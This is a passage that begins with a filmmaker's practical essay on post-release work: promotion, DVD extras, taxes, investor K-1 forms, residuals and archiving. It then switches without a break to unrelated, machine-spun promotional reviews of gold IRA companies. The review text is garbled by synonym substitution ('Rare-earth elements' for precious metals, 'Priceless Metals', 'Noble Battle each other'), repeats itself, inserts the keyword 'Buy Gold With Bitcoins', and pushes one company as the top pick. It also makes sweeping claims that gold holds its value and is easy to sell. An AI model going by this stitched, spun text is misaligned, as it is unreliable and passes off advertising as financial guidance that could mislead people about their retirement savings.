small distributor, I was still calling theater managers in Sheboygan, doing podcasts in Hollywood, Skyping in Q&As when I could and live-tweeting Q&As when I couldn’t. The advantage this time was that I was working with an infrastructure of a distributor who could do most of the bookings, ads and underlying PR. I could focus a bit more on the fun stuff, but it was no less work than with my other films. That’s partly how I chose the distributor, Monterey Media, in the first place: Was this a company that would keep the director at arm’s length because “they know better,” or was it one that would harness the energy of the filmmaker to work together to promote the movie? Fortunately, it was the latter. And just because your film is going straight to VOD, or is enjoying a gentle Netflix or Amazon deal, doesn’t mean you’re off the hook in terms of shameless self-promotion. On the contrary: If your film is on Netflix and nobody knows it’s on Netflix, is it really on Netflix? This is where your thousands of social media fans and followers come into play. Strap on a digital sandwich board and get pimpin’! Put out press releases, get your actors tweeting, Photoshop President Obama inspecting your DVDs at an Amazon distribution warehouse — whatever it takes to keep getting the word out there! If you think it took a sustained effort to do your crowd-funding campaign, double that effort to actually release the film. Even if you never make a dime for your investors, cast or crew, they’ll never be able to fault you for not working hard enough to try. 5. DVD Extras Arguably one of the most fun parts of finishing a film is now sadly one of the least in demand. Until Netflix and other streaming services figure out a way for audiences to listen to commentary tracks and watch deleted scenes or other bonus material, the era of the extras-stuffed DVD are over. That said, putting all these bonus materials together has other advantages. For one thing, most of your extras — at least the video ones — are very well suited for YouTube or Vimeo. At some point you’re going to want to embed them into your personal website, Facebook page or your Kickstarter campaign for your next film. You can still post your commentary or other audio tracks onto podcasts, or audio sharing sites like SoundCloud. Rian Johnson, for one, did this for the theatrical release of Looper, and I just posted mine for Between Us. Speaking of those relationships you need to repair, let your bitter makeup assistant (the one with the grumpy Century City lawyer father) do her own commentary track. And did you have a scene you had to cut out? The one featuring your own wife and kids as glorified extras to make them happy? Put it on your DVD, and you’ll always have a perfectly preserved home movie you’ll be able to find! One warning about extras: They will sneak up on you, so work on them early. One minute you’ll sign a deal with a distributor, and the next minute they’ll want you to deliver your extras within two weeks. All that behind-the-scenes footage you diligently took on set isn’t going to edit itself. Get crackin’ and start editing on flights between festivals! 6. Crowd-Funding Perks Remember all those perks you promised your Kickstarter supporters? Chances are some of them included DVDs or digital downloads of the finished film, or other perks you couldn’t deliver until after making the film. You may have forgotten about them, but your backers haven’t. But perhaps more important than the perks, are the updates. Your backers primarily got behind you because they wanted to take part vicariously in your filmmaking journey. So, keep sending out those updates, with both the good news and the bad. An updated backer will want to back your next film. And if, God forbid, you need to do another Kickstarter campaign to pay for your E&O insurance, you’ll want to make sure your first set of backers sticks with you. 7. Taxes Unless you’ve set up your film through some shadowy entity in the Cayman Islands, chances are you’re going to have to deal with taxes at some point. And that point is probably once a year, on April 15. So, even if you haven’t made money on your film, you’ve still got to tell the IRS about it. Hey, you might even get a nice deduction (assuming you have any other income to deduct from). If you’re in California, for example, every LLC, LP or corporation has to file taxes and pay a minimum of $800 for as long as the business entity exists. Other states vary, but if you file in Delaware, and work out of a fetid hipster garage in Silver Lake, the California state government will still want their $800 a year. Even if you’ve never set up a formal entity for your film and just run the money through your mattress, at some point, you will have some ‘splaining to do to The Man. 8. Accounting And who’s going to file those taxes for you? Last time I checked, most of you who went to New York University and University of Southern California became MFAs, not CPAs. So that means finding an accountant. And not just your Aunt Harriet who’s a whiz at TurboTax: It’s got to be someone who fully understands the vagaries of filmmaking and also how to handle partnership or corporate filings with multiple investors and/or crowd-funded donors. They’ve got to know the distinction between IRS code Section 181 (for film tax deductions) and Section 180 (for fertilizer deductions for farmers). As far as the IRS is concerned, it’s all just shit you can deduct, so your accountant better know the difference and know whether these deductions are even still allowed. 9. K-1s If you’ve got any kind of a partnership or corporation with investors, one of the most important things to do is issue them K-1 forms every spring (kind of like a 1099 for investors). Hopefully you’ve got well-heeled, arts-patronly investors who don’t mind that they won’t be making any money. But no matter how forgiving they may be about their investment itself, they will not be forgiving if their K-1s are late. If an investor is filing taxes by April 15, that means they’re meeting their accountant no later than March 15 to hand them all of their K-1s and 1099s. That means that you need to get with your accountant no later than Feb. 15 so they have time to issue your K-1s. Your investor will be mighty pissed if the K-1 is so late that their accountant has to file an extension on their taxes. It may not cost them more in taxes, but it will cost them more in accounting fees. Oh, and if you are like me, and you’ve got investors who happen to be farmers, there’s another little thing they didn’t teach you at Tisch: Most farmers (and fishermen, too!) in the U.S. are required to file their taxes on March 1, not April 15. So, that means you need to do everything six weeks earlier: Meet with your accountant in early January and issue your K-1s by the first week of February, if not sooner. If you ever see me in Park City during Slamdance huddling over my MacBook Pro between screenings, chances are I’m frantically checking bank records, doing Excel spreadsheets and calling my accountant in L.A. 10. Write Checks One of the coolest things you might hope to do at least once in your life is to write checks to your investors. It is such an anomaly in this business, and hopefully your investors appreciate how rare it is. The only downside is that in order to write checks, you have to a) keep strict spreadsheets on how you’re divvying up your money proportionately; b) find your checkbook (which you probably haven’t used in the three years since production); and c) find one of your producing partners (because you oh-so-responsibly set up your account years ago to require dual signatures). Assuming your producing partners haven’t all taken off to Louisiana to work in TV production, and you find a mutually free time to get together to write checks, then it also means stuffing envelopes, addressing said envelopes, writing a nice updated cover letter, buying stamps and going to the post office. While you’re at it, you should also send them all DVDs of the film. A satisfying experience, yes, but still very time consuming. Oh, and you’d better make sure that you’ve got everyone’s current addresses, or you’ll be paying $31 per cancelled check when you realize a year later than an investor may have moved crosstown, but his ex-wife didn’t. One downside to writing checks to your investors: If they happen to be from a state other than yours (i.e. Nebraska investors, if your LLC is based in California), then your accountant has to issue them a separate out-of-state investor form, and they’ll probably need to file taxes in your home state as well as their own. It may not cost them much more in taxes, but it will be a drag on their own accountants. But if you’re to the point where you’re even writing checks, then it’s a small price to pay for success, right? They should be so lucky! 11. Residuals Filmmakers used to never worry about residuals — those fun little payments that actors, writers and directors mysteriously get every time one of their movies runs on late-night — all that much. Everyone just assumed that someone else was responsible for them. And back in the old days, when getting distribution meant signing with a reputable specialized wing of a Hollywood studio, that is pretty much what happened. Upon acquiring a film, distributors would automatically sign “assumption agreements” and legally assume responsibility for residual payments. But while the mini-majors will still sign those agreements, plenty of new, smaller distributors and aggregators won’t. What that means is that in four or five years, SAG (and the other guilds you might have dealt with) will come knocking on the door of whoever signed the original production agreement (probably you) and say, “Ahem! Your film’s been playing on Showtime for the last eight months and is on VOD in Sri Lanka. You now owe $10,000 in residuals!” Rather than wait for that dreaded knock — and scary letters from SAG’s lawyers — you might proactively want to start paying residuals yourself (especially if you’re going to be one of the beneficiaries of them). But it’s not as simple as just writing a check to SAG. You actually have to go through one of the big Hollywood payroll companies. Even if you used a smaller (cheaper) payroll company for production, there are only a handful of the big boys who have specific residual departments. The good news is they’re very nice about it and don’t charge an arm and a leg to work on residual payments (just a percentage). The bad news is that, even when an experienced payroll company is involved, calculating residuals can be difficult. The categories that the guilds use for different kinds of digital and TV platforms aren’t necessarily the same accounting categories that your distributor might use (and some actually go back to SAG’s 1984 contract). At her keynote speech in Toronto a couple of years ago, WME agent Liesl Copland coined the phrase “Analytic Black Holes.” Well, your residual accounting is about to get sucked into it. And as we learned in Interstellar, once you get sucked into a black hole, what seems like hours to you will be like years to the outside world. Oh, and since much of residuals are calculated as a percentage of “Distributor‘s Gross,“ rather than producer’s gross, it’s entirely conceivable that you’ll owe residuals on money that you, the filmmaker, haven’t even seen yet. Good luck with that! 12. Archiving Despite what your spouse may supportively, but adamantly, suggest about “dumping all that shit,” you actually do need to save a lot of what went into your film. If you’re lucky, your distribution deals will eventually expire, and you’ll be able to redistribute or relicense your film on some fancy new format or delivery platform that hasn’t been invented yet. Want to sell your cool 16mm film school shorts to people with $10,000 Apple Watches? Then you probably need to find those films and figure out how to digitize them first. Whether you’ve got reels of negative, boxes of miniDVs or stacks of hard drives, the first step is figuring out where to put them. Yes, a nice temperature-controlled salt mine would be ideal, but that kind of archiving is expensive. You can also think about donating to the Library of Congress, your film school alma mater or a few other independent archives. (Sundance films might try the Sundance Institute Archives.) But the problem is, if you archive everything offsite somewhere, then you can’t easily access it, like when you decide to ditch indie filmmaking and recut your reel to get a TV directing job. So, if that means keeping stuff in your garage, attic or other not-exactly-temperature-controlled environment, make sure everything’s at least a foot off the ground to avoid flooding catastrophes, and a couple feet under your ceiling to avoid overheating. You should also make sure that at least one copy of your finished film itself (your most valuable asset) is with one or more of your producers or parents, preferably outside of your nuclear attack radius. Get another nicely labeled new hard drive stuffed with all your deliverables that you keep on a middle shelf. Indie vet Matthew Harrison (Rhythm Thief, Kicked in the Head) writes serial numbers on all his hard drives and keeps a running FileMaker Pro document with the directory of each drive. Then he puts the drives neatly in Uline cardboard boxes, with the serial numbers on the side. For a more passive, long-term approach, you could also do what many TV networks are doing and store everything onto LTOs, which are magnetic tape cartridges that are supposed to outlast both hard drives and HD tapes. Indie filmmaker Sean Baker (Tangerine, Starlet, Takeout) just put most of his films (including all the extra deliverable materials) each onto a single LTO, with a text file explaining what everything is. Then he locked them in a safety deposit box at Chase Bank. Those LTOs should last 30 years, but whether anyone will still have an LTO deck to read them then is another issue. Filmmakers Kelly Reichardt and Larry Fessenden just did a successful Kickstarter campaign to raise $20,000 to do a new telecine of Reichardt’s first film, River of Grass (shot on 16mm), but they’ve got the support of Oscilloscope, Sundance Collection at the University of California-Los Angeles and TIFF helping them with the logistics and Kickstarter perks. 13. Escaping Your Distributor You will spend half your life as a filmmaker trying to get a distributor, and the other half trying to get rid of your distributor. At some point, there’s a good chance your distributor will screw you, whether willingly or by simple neglect. If it’s the former, you’ll likely first need to hire an accountant to audit the distributor. Hope you have reserve money set aside for that! Then you’ll need to get a lawyer to extract yourself from the distributor’s iron grips — and not just your old production attorney, but quite possibly a litigator, too. If you didn’t sign a deal with a division of a multinational entertainment conglomerate, it’s possible that your distributor will be a well-meaning but struggling company that will simply go bankrupt. I remember one call I got from a distributor of my film Open House, “Hi, Dan! The good news is we owe you $50,000. The bad news is we’re going out of business next week. Bye!” Either way, you’ll need to keep your lawyers and accountants on speed dial for at least the next 10 years. 14. Dissolving Your Entity Even if your distributor doesn’t screw you, all your annual costs will mount up, especially taxes and accounting. Probably within three to five years, you’ll realize that you’re spending more money to keep your corporate entity alive than you’re bringing in. Time to write a nice letter to your investors and officially call it quits and move on. But to dissolve your LLC still requires new forms and filings with your state and the feds, and it takes time and some effort to deal with it (in other words, a few more billable hours for your accountant and/or lawyer). The nice thing is, you’re still (more or less) allowed to keep your bank account open even for your dissolved LLC, as long as it’s not an interest-bearing account. Keep at least a few hundred bucks in there as a reserve to pay for hard drives, lawyers, auditing fees or otherwise setting up the next distribution deal. Your investors will be cool with that, as long as you explain it well. More importantly, keep your Excel spreadsheet updated with how you left things with your investors, actors, crew and, of course, any debts you might still owe. 15. Rinse, Repeat When all’s said and done, try to make sure you’re still left standing with the rights to your film. If you were smart, you put a clause in your original LLC agreement that says you keep the film after dissolution and hopefully your distribution agreements say you keep the rights when they go bankrupt. Within the last couple of years, I was able to sell the digital rights to my first film from 20 years ago, Omaha (the movie), to aggregator FilmBuff, which eventually got it onto Amazon, Fandor, Hulu and Vimeo. FilmBuff was able to digitize my old Betacam telecine (which had been stored for decades on a middle shelf in my garage and thankfully worked just fine). I still had an Excel spreadsheet with my investor allocations. I was able to track down all of the living investors and the heirs of a couple of the dead ones. I sent them very tiny checks (for some, as little as $8.14), and I wrote them a nice long cover letter, explaining how the film had performed and what its cultural impact had been over the years. Perhaps it wasn’t the financial success we’d all hoped it’d become, but it did serve as a launch pad for Slamdance (which, by the way, all my investors had signed off on when we started the festival). Some of our crew members went on to amazing careers in their own rights (see Rian Johnson, Jon Bokenkamp and James Duff), and the film paved the way for such Nebraska filmmakers as Alexander Payne and Nik Fackler. The investors were thrilled to hear from me, and one (who himself had gone on to a very nice political career, ultimately serving as a cabinet secretary) wrote me a very moving, handwritten thank you letter. So now, as I’m getting ready to raise money for the next film, I can point to my long-term commitment to my first investors as yet another selling point to my future investors and backers. It may take them 20 years to recoup their first eight dollars, but at least they’ll get their K-1s on time!

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Setting up a brand-new Rare-earth elements Individual Retirement Account or surrendering an existing IRA is very easy, as well as a member of Goldco’s team is always available to aid you via the process. Goldco is an A+ rated business with the Better Business Bureau. Cons:. Platinum and Palladium aren’t used by Goldco for Precious Metals IRAs. There are a great deal of great gold investment companies available but Goldco is the one we most highly suggest. They are an A+ rated company with the Better Business Bureau as well as additionally have a Three-way A score from the Business Consumer alliance. A relied on and reputable company, you really can not go wrong when you pick to invest in gold or silver with Goldco. Goldco concentrated on Gold and Silver Individual retirement accounts, likewise called Rare-earth elements of self-directed IRAs. Setting up a Valuable Metals IRA with Goldco are a suitable way to diversify your profile and also safeguard you from the very unstable stock exchange. As highly-sought after precious metals gold and silver both make an outstanding financial investment. Their worth has remained steady over the years and tends to rise when the economic climate or supply market are not carrying out. Buy Gold With Bitcoins Gold and silver are likewise being utilized an increasing number of for manufacturing as well as new modern technologies, implying their demand will just remain to grow as we move right into an extra technologically-advanced future. When you determine to market your investment upon retired life or a later day, you’ll have no trouble obtaining cash money for your silver or gold, which is not the situation with a few other investment kinds, like property. Goldco concentrates on aiding its customers established Gold IRAs. A Gold Individual Retirement Account is one type of self-directed Individual Retirement Account where individuals are enabled to hold gold, rather than supplies or bonds, in their IRA. Establishing a self-directed Individual Retirement Account with Goldco is straightforward. See their website, and take a couple of moments to complete an application to open up a brand-new Individual Retirement Account. You’ll then select how you intend to fund your Individual Retirement Account, and move money to the brand-new account. When the money has been obtained by Goldco, you can select the gold pieces you want to include in your Individual Retirement Account. Goldco offers both gold coins and also bars for Gold IRAs. All of these coins and also bars meet the IRS needs of being 99.5% pure as well as can be held in Individual Retirement Account accounts. Considering that silver is less expensive than gold, you’ll be able to include more to your Valuable Metals Individual Retirement Account for the exact same rate you would certainly pay to purchase just a couple of gold coins or bars. As a result of IRS guidelines, silver should be 99.99% pure to be held in a silver IRA. Goldco supplies many different IRS-approved silver coins and bars for individuals wanting to add silver to their Priceless Metals Individual Retirement Account. Various silver bars from PAMP Suisse, the Perth Mint, and also other highly concerned mints as well as refiners. Along with assisting you set up a new self-directed Precious Metals Individual Retirement Account with silver or gold, Goldco can also assist with surrendering an existing Individual Retirement Account into a Valuable Metals IRA. Numerous retirement accounts are eligible for a rollover as well as will allow you to obtain your brand-new self-directed IRA established with the funds currently in your account. A member of Goldco’s team can help you recognize much more concerning the procedure and determine if your pension is qualified for a rollover. A Silver Or Gold Individual Retirement Account with Goldco supplies the exact same tax benefits as a conventional IRA. You can contribute approximately $6,000 annually (or $7,000 if you more than half a century old) to assist your financial investments remain to expand much more till you prepare to retire. As soon as you go to the very least 59 1/2, you will, have the ability to take out funds from your account without penalties. If you want learning more about Goldco and setting up a self-directed Precious Metals Individual Retirement Account, see their web site to ask for the free Self-Directed IRA overview. The overview will assist you recognize what Gold and Silver IRAs are, exactly how to establish them up and fund them, and the different coins and bars you can contribute to your account. # 2 Birch Gold Group Pros: You can buy precious metals for a self-direct IRA and also for individual financial investment. A participant of the team will have the ability to stroll you via the procedure of setting up your account and also deal financial investment suggestions. Birch Gold Team has an A+ ranking from the Bbb. Cons:. You’ll require to pay annual storage space, insurance coverage, as well as administration costs. Because 2003, Birch Gold Group has actually been working hard to focus on the need of their clients. They aim to assist each of their consumers find the best mix of gold, silver, platinum, and palladium to expand their profiles as well as safeguard their wealth. Birch Gold Team uses an experienced and useful customer service group that can assist address inquiries or walk you via the needed steps for investing in gold. Birch Gold Group can help you set up a Priceless Metals Individual Retirement Account to diversify your profile. If you want setting up a brand-new IRA or surrendering an existing retirement, the very first step is to open a brand-new account as well as transfer funds to it. When your account is set up, you’ll have the ability to pick the rare-earth elements you wish to include in it. A member of the Birch Gold Group group will be offered to help you learn more concerning this process as well as deal customized referrals to help meet your financial investment needs. After you finalize your decision, the expert dealing with you will finish the purchase for you. Precious metals acquired for an Individual Retirement Account should be stored in an IRS-approved depository. Birch Gold Group provides their customers a selection of storage choices. One of their very recommended selections is the Delaware Depository that provides $1 billion worth of insurance policy, so you can relax easy understanding your financial investments will certainly be safe. In order to be kept in a self-directed Individual Retirement Account, rare-earth elements have to satisfy details degrees of pureness. These consist of 99.5% pure gold, 99.9% pure silver, 99.95% pure platinum, and 99.95% pure palladium. In addition to the IRA-approved gold, silver, platinum, and palladium choices, you can additionally acquire various other rare-earth elements for an individual financial investment with Birch Gold Team. A few of the available gold and also choices include: # 3 Noble Gold Pros: Noble gold additionally enables people to buy digital money. Safe and secure storage space alternatives in Noble Gold’s Texas storage space facility are available. Noble Gold provides gold, silver, platinum, as well as palladium for investors. Cons:. Gold IRA rollovers need a minimum of a $5,000 investment. Noble Gold is an additional gold investment firm you’ll want to take a close look at. Recognized with both the Bbb as well as Consumer Affairs, Noble Gold makes every effort to assist each of their clients make the very best monetary choices possible without the stress and anxiety or hassle that lots of associate with spending rare-earth elements. Noble Gold is also a participant of the Business-Consumer Partnership, the Royal Canadian Mint, as well as TrustLink. They are very pertained to as well as well-reviewed by their numerous pleased clients. Noble Gold can help you establish a Valuable Metals IRA to aid you shield your financial investments and expand your profile. Gold IRAs get just the same tax obligation breaks that traditional Individual retirement accounts get, making them an excellent alternative for establishing for future financial success. If you intend to establish a brand-new Rare-earth elements Individual Retirement Account or rollover an existing pension right into a Precious Metals Ira, fill in the Individual Retirement Account set up form on the site. When you have actually finished the form, a participant of the Noble Gold team will call you to help you complete setting up your account and also start the procedure of relocating funds to the new account. After your account is funded, you can select the precious metals you would like to have added to your brand-new self-directed Individual Retirement Account. Noble Gold supplies a large choice of IRS-approved gold, silver, platinum, as well as palladium coins and also bars. If you like to acquire precious metals for an individual investment, rather than setting up a self-directed Individual Retirement Account, you can additionally do that with Noble Gold. In addition to having the ability to buy the gold, silver, platinum, as well as palladium coins noted above, they likewise provide collections as well as rare coins for purchase. All of the rare coins are independently graded as well as licensed by the NGC (Numismatic Warranty Corporation) or the PCGS (Expert Coin Grading Solution). Each coin or collection is sent in a sealed holder to maintain it in excellent collection. The uncommon coins as well as collections that are readily available include: Four-Piece Indian– Saint Gauden Set, 1854 Kellogg $20 Coin, and also Morgan Silver Dollars. Capitalists may likewise think about among the Royal Survival Packs provided by Noble Gold. There are eight various choices that include pre-selected rare-earth elements that are created to satisfy the requirements of a range of people. The offered packs include:. Noble Cavalier: $5,000 investment. Noble Knight: $10,000 financial investment. Noble Baron: $25,000 investment. Noble Viscount: $50,000 investment. Noble Earl: $100,000 financial investment. Noble Marquess: $250,000 investment. Noble Battle each other: $500,000 investment. Noble Ambassador: Personalized and offered for people living outside of the United States. When you acquire rare-earth elements from Noble Gold, your order will certainly be delivered securely, discreetly, and swiftly to obtain them to your hands as quickly as feasible. Noble Gold deals with numerous distributors for gold, silver, platinum, and also palladium, which permits them to supply their consumers extremely affordable pricing for precious metals. If you determine you intend to market your precious metals back, Noble Gold’s buy-back program makes it fast as well as easy to do so. One more big benefit of selecting Noble Gold is that their team members are simple to work with as well as will not offer an aggressive or hard sell. They want to assist each client make the most effective choices for their individual financial demands, as well as do not push you to choose you aren’t ready to make. Augusta Valuable Metals Buy Gold With Bitcoins Pros: Establishing an Individual Retirement Account is an easy procedure, and also a participant of the group will be readily available to walk you via each action. You can buy silver and gold for personal financial investment. They use countless IRS-approved storage space options for Silver and gold Individual Retirement Accounts. Cons:. You will certainly need to contact the business to discover the complete listing of IRA-eligible gold and silver coins. Augusta Priceless Metals is an additional excellent firm to take into consideration if you intend to purchase gold or silver. They have obtained an A+ ranking from the Bbb in addition to exceptional scores from Google, Facebook, TrustLink, and business Customer Partnership, making them a trusted company to give your service to. Augusta Rare-earth element’s is dedicated to every consumer and helping them obtain the most effective possible experience. The business is committed to being clear, streamlining the process of investing in silver and gold for the consumer, and supplying tailored service to meet the needs of each person. Among the main items that Augusta Previous Metals specializes in is helping consumers establish Silver and gold IRAs to diversify their profiles and safeguard them versus future securities market recessions. They strive to make the process of establishing an Individual Retirement Account as simple as feasible and offer support each step of the method. They can likewise help you establish whether an existing pension is eligible to be surrendered right into a new Rare-earth elements self-directed IRA. Augusta Precious Metals supplies a large option of IRS-approved silver and gold coins that can be contributed to a Priceless Metals Individual Retirement Account. One more option you’ll have with Augusta Priceless Metals is the opportunity to purchase gold or silver for a personal financial investment. Investing in gold and silver as an individual investment features many of the very same benefits related to purchasing them for a retirement savings account. You can safeguard your portfolio by expanding your investments as well as secure on your own versus a decline in the worth of the buck. To make an individual investment in gold or silver, established your account, transfer funds, then choose the coins or bars you would love to acquire. Augusta Rare-earth elements uses silver and gold bullion as well as superior silver and gold for purchase. Acquisitions with Augusta Precious Metals ship free of charge with complimentary insurance coverage. Each thing is firmly and also discreetly packaged to provide further security. Buy Gold With Bitcoins Regal Properties Pros:. Rare-earth elements for IRAs are kept in protected, IRS-approved storage space centers. You can pick from set apart as well as fully-insured storage space options for individual investments. You can likewise purchase cryptocurrencies with Regal Properties. Cons:. The option of gold, silver, platinum, and also palladium is not as large as you’ll locate with a few other companies. Whether you’re wanting to expand your profile with precious metals or cryptocurrencies, you’ll intend to take a look at what Regal Properties needs to provide. Regal Properties was founded by Tyler Gallagher greater than a decade back and has come to be a highly-trusted name in the precious metals’ financial investment business. They belong to the Forbes Money Council and supply a committed group of experienced and experienced financiers to assist their clients make the most effective economic choices for their certain scenarios. Regal Assets can aid you establish a new Precious Metals IRA. They supply a big choice of gold, silver, platinum, as well as palladium coins and also bars that are authorized by the IRS for holding in an Individual Retirement Account. If you wish to establish a brand-new Precious Metals Individual Retirement Account with Regal Asset, just complete the on the internet kind to enter the info necessary to set up an account and also fund it. Once the funds have actually shown up right into your account, you’ll be able to select the coins and bars you wish to invest in. Regal Assets. In addition to aiding people set up a new Precious Metals Individual Retirement Account, Regal Possessions can also aid you rollover an existing retirement account right into a Valuable Metals IRA. If you are uncertain whether your existing retirement account is qualified for a rollover, connect to a participant of the Regal Properties team, and also they can assist you figure out if it is qualified. Regal Assets supplies different gold, silver, platinum, and palladium coins and bars that fulfill the Internal Revenue Service’ guidelines. Gold has to be 99.5% pure, silver, must be 99.9% pure, and platinum and palladium should be 99.95% pure to be kept in an IRA. Something that makes Regal Possessions attract attention when compared with numerous various other gold investment companies is that they also use the possibility to purchase cryptocurrencies. This is yet one more method to expand your portfolio and also offer better security against the ups and downs of the stock exchange or a damaged United States buck. Several of the cryptocurrencies you can invest in with Regal Possessions consist of Bitcoin, Ethereum, Tezos, Zcash, Litecoin, Stellar, and XRP. Regal Properties additionally supplies special financial investment bundles. These packages are designed to streamline the financial investment process, which can be overwhelming, as well as offer pre-selected coins as well as bars at different rate points. There are 6 various plans to pick from:. Merchant Plan: $5,000 financial investment. Knighthood Bundle: $10,000 investment. Tradition Portfolio: $25,000 financial investment. Royalty Profile: $50,000 investment. Empire Profile: $100,000 financial investment. Coronation Portfolio: $250,000 financial investment. Consideration in Finding. Prior to choosing a gold investment company, read through our list of factors to consider below. Spending some time to select the right firm to fulfill your requirements will certainly help ensure that you’re pleased with the process and receive the services you’re seeking. Reputation as well as Experience. Similar to any other investments or large acquisitions, you wish to do your study and also choose a reliable and also credible business. Choose a company that has multiple years of experiences and also high customer evaluations. Looking for companies with an A+ rating from the Better Business Bureau or ones that are accredited with Customer Affairs might supply extra assurance. Financial investment Options. Next, you’ll want to take into consideration the various investment choices used by each business. Initially, establish whether they only supply Rare-earth elements Individual retirement accounts, or if they give the alternative to buy gold, silver, or various other precious metals for individual investments as well. Look at the option of precious metals they use. Can you purchase gold, silver, platinum, and also palladium, or will you be limited to simply silver and gold? How many coins as well as bars are readily available for IRAs, and how many are readily available for individual investments. Some gold investment companies also permit individuals to buy cryptocurrencies, such as Bitcoin. If this is something you think you ‘d have an interest in, be sure to look for a business that provides this choice. Charges. You may require to examine the fine print, but you’ll likewise wish to assess the fees you’ll require to pay. Will you need to spend for shipping or insurance policy for your rare-earth elements? Are there annual fees associated with Individual retirement accounts? Will you be charged for anything else? Answering these concerns might help you much better contrast two companies that you’re torn in between. Customer Service and Assistance. Establishing a Gold Individual Retirement Account can be tough. You may additionally be billed different charges if you don’t transfer funds from an existing retirement to a new one. Locating a firm that supplies excellent client service is a must. You desire a person handy that will walk you though each step in the procedure of either setting up a new IRA or surrendering an existing retirement account. In addition, finding an investment firm that will certainly provide you with recommendations as well as guidance if you aren’t certain precisely what you wish to purchase can additionally be helpful. Top Choose. Every one of the gold firms we assessed above are relied on and appreciated alternatives to aid you set up a Valuable Metals Individual Retirement Account or buy gold, silver, platinum, or palladium. However, we had to select Goldco as our leading choice. There is a great deal we like concerning Goldco. First, they are an A+ ranked company with the Bbb and also have a Triple A ranking from the Business Consumer Alliance. Goldco makes it very easy to establish or rollover a Precious Metals Individual Retirement Account; their staff member are very well-informed and practical and also will certainly attend to any type of questions or issues you may have. Goldco offers a good choice of IRS-approved gold and silver coins and bars that you can contribute to your Individual Retirement Account. Purchasing gold and silver with Goldco can help expand your portfolio as well as secure you against drops in the securities market. We think you’ll more than happy with your decision to invest in gold or silver with Goldco. See their site today to request your totally free Self-Directed IRA guide or to sign up to get your brand-new Rare-earth elements IRA began! Frequently Asked Questions 1. Why should I purchase gold or various other rare-earth elements? Investing in gold, silver, platinum, and also palladium offer a wonderful method to diversify your investment profile. Unlike the volatile securities market, precious metals normally hold their value quite regularly. They are additionally in limited supply in the world, which makes them much more uncommon as well as extremely popular. Rare-earth elements are frequently related to precious jewelry, but the truth is that they are made use of in a selection of various methods which keeps them in high need. This includes utilizes related to technical improvements, which will just remain to raise over the coming years. Investing several of your money in gold, silver, platinum, or palladium will permit you to diversify your profile. This is highly suggested to secure you against an abrupt downturn in the stock exchange. If every one of your properties are kept in the stock market as well as the securities market crashes right around the moment you intend to retire, you can deal with a great deal of monetary anxiety. If some of your assets are held in valuable steels, you will certainly be less adversely affected. Rare-earth elements are likewise very simple to liquidate when you are ready to market them. Because they remain in such high need, you ought to have no trouble finding a buyer. This is not the case with realty or some other financial investment alternatives. 2. When is the most effective time to purchase gold? It goes without saying that you intend to acquire gold when it goes to the most affordable rate feasible. While this isn’t constantly simple, there are a few indications that can aid you recognize if it is a good time to invest in great. Generally, the rate of gold rises as the stock exchange decreases. If you can acquire gold prior to the stock market is anticipated to take a large decline, it is most likely an excellent suggestion. Discovering how to check on the stock exchange futures could aid you anticipate when you should buy gold. Hearing that a reserve bank is going to begin printing even more money is likewise often an indication that the price of gold is about to enhance since the value of gold goes up as the value of the national currency decreases. 3. What is a Gold IRA? A gold Individual Retirement Account is one type of Self-Directed Individual Retirement Account, or Individual Retirement Account. Gold IRAs permit individuals to buy gold, silver, platinum, or palladium in their pension, instead of the supplies as well as bonds with a conventional Individual Retirement Account. Gold IRAs use the very same tax benefits of various other kinds of retirement accounts, however may go through higher charges. The benefit of choosing to set up a Gold IRA is that you’ll be able to diversify your portfolio by holding some precious metals rather than all stocks and bonds. Often times, you can also roll over an existing Individual Retirement Account right into a Gold IRA. 4. What percentage of my portfolio should I keep in gold? The ideal portion of a portfolio to commit to gold investments will differ by individual. Consider your comfort level with different types of investments in addition to your current age. If you are close to retiring, experts advise against making riskier investments. If you are years away from retired life, you may feel much more comfortable taking a larger threat and spending even more money in gold. You can also change the percent of your profile kept in gold by very closely adhering to the cost of gold and the stock market. This is riskier though, because if you don’t move quickly enough you can lose a great deal of cash. 5. Where can I buy gold? Gold is readily available in coin shops or from bullion dealers. You may be able to find a local bullion dealer or coin store in your area if you have an interest in purchasing personally. Prior to checking out a supplier, you will wish to read up on their online reputation as well as service methods to see to it you choose somebody reliable. It is additionally a good idea to figure out the existing cost of gold and bring it with you to ensure you do not obtain scammed. In addition to acquiring gold personally, there are a number of on the internet gold investment companies. They supply a large choice of gold coins as well as bars along with other rare-earth elements that you could acquire for an individual financial investment or for beginning a self-directed IRA. You ought to likewise check the testimonials as well as rankings for a gold investment firm before giving them your business. 6. Should every one of my cash be purchased gold? No, every one of your cash should not be invested in gold. Gold needs to be made use of to expand your portfolio to protect versus sudden losses in the stock market. If all of your cash was bought gold, you could face comparable issues to having all of your cash purchased the stock market. If the price of gold takes place to reduce, your whole portfolio would decrease in worth. If simply a portion of your portfolio is purchased gold as well as the price of gold lowers, you will not take as large of an economic hit. When you spend several of your money in precious metals, whether with a self-directed IRA or as an individual investment, you are expanding your investments to supply even more security should the stock exchange crash. In the event the stock market does crash shortly before you intend to retire or need to access your money for another function, your losses will be less substantial if you have cash purchased various other locations. Gold investment firm are created to make it very easy for people to diversify their portfolio by investing in gold, silver, platinum, or palladium coins and bars. Some also use the chance to invest in cryptocurrencies currently. A gold investment firm can be a superb resource whether you simply want to pick up a few gold coins or bars to keep in your residence secure, would like to go after a large investment to be safeguarded in a depository, or have an interest in surrendering or establishing a brand-new self-directed IRA, often called a gold Individual Retirement Account.

While many people see the stock market as their key alternative for investing, the reality is that it is only of on numerous options. Expanding a profile with various other investments is a suitable method to safeguard your finances as well as protect your future. Gold, silver, as well as various other rare-earth elements use just this opportunity. Copper Gold Noble The Poet There are a multitude of gold investment companies out there. While some competition is a good idea, it can also make it even more of a difficulty to figure out which company will offer what you’re seeking. We’ve put together reviews of 5 of the top gold investment firm to help simplify your decision so you can choose the very best firm to satisfy your needs as well as secure your economic future. Gold Investment Company Reviews: GOLDCO – Our Top Recommendation They supply a large choice of silver and gold coins and also bars for IRAs. Setting up a new Rare-earth elements IRA or rolling over an existing IRA is easy, and a member of Goldco’s group is always readily available to aid you through the procedure. Goldco is an A+ ranked business with the Bbb. Cons:. Platinum and Palladium aren’t used by Goldco for Priceless Metals IRAs. There are a lot of great gold investment firm out there however Goldco is the one we best recommend. They are an A+ ranked company with the Better Business Bureau and additionally have a Three-way A ranking from business Customer partnership. As such a trusted and reputable business, you truly can not go wrong when you choose to buy silver or gold with Goldco. Goldco concentrated on Silver and gold Individual retirement accounts, likewise called Rare-earth elements of self-directed Individual retirement accounts. Establishing a Valuable Metals Individual Retirement Account with Goldco 